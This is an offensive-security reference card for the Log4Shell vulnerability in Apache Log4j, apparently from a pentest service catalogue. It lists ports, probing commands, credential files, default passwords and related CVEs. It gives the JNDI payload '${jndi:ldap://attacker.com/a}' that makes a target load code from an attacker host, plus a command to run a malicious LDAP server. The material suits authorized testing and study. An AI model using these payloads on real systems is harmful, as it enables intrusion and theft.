Back to services
web-app80/tcp

Log4Shell (Log4j JNDI)

Log4ShellLog4jCVE-2021-44228JNDI Injection

Log4Shell (CVE-2021-44228) is a critical RCE vulnerability in Apache Log4j 2. JNDI lookup injection allows unauthenticated remote code execution.

Ports

PortProtocolDescription
80tcpHTTP
443tcpHTTPS
389tcpLDAP
1389tcpLDAP (JNDI)

Fingerprints

Banner / ProbeExpected Response
nmap -sV -p <port> <target>Service banner and version info
nc -nv <target> <port>Raw banner grab

Key Files

PathDescription
/etc/passwdList of system users
/etc/shadowPassword hashes for local users
/etc/ssh/sshd_configSSH server configuration
~/.ssh/id_rsaSSH private key

Default Credentials

UsernamePasswordContext
adminadminGeneric admin account
rootrootGeneric root account

Known CVEs

IdentifierTypeDescription
CVE-2021-44228RCELog4Shell — JNDI lookup RCE in Log4j
CVE-2021-45046RCELog4j 2.15.0 insufficient fix bypass

Exploitation Primitives

TechniqueTool / CommandResult
JNDI Injection${jndi:ldap://<attacker>/a}Trigger JNDI lookup
LDAP Serverjava -jar JNDIExploit.jar -i <attacker>Host malicious LDAP server

Notes

Payload: `${jndi:ldap://attacker.com/a}` in any user-controlled input field.

Headers like `User-Agent`, `X-Forwarded-For`, and `Authorization` are common injection vectors.

Tools: `JNDIExploit`, `marshalsec`, `log4j-scan`.

Seen on

ShodanCensysFOFAZoomEye

References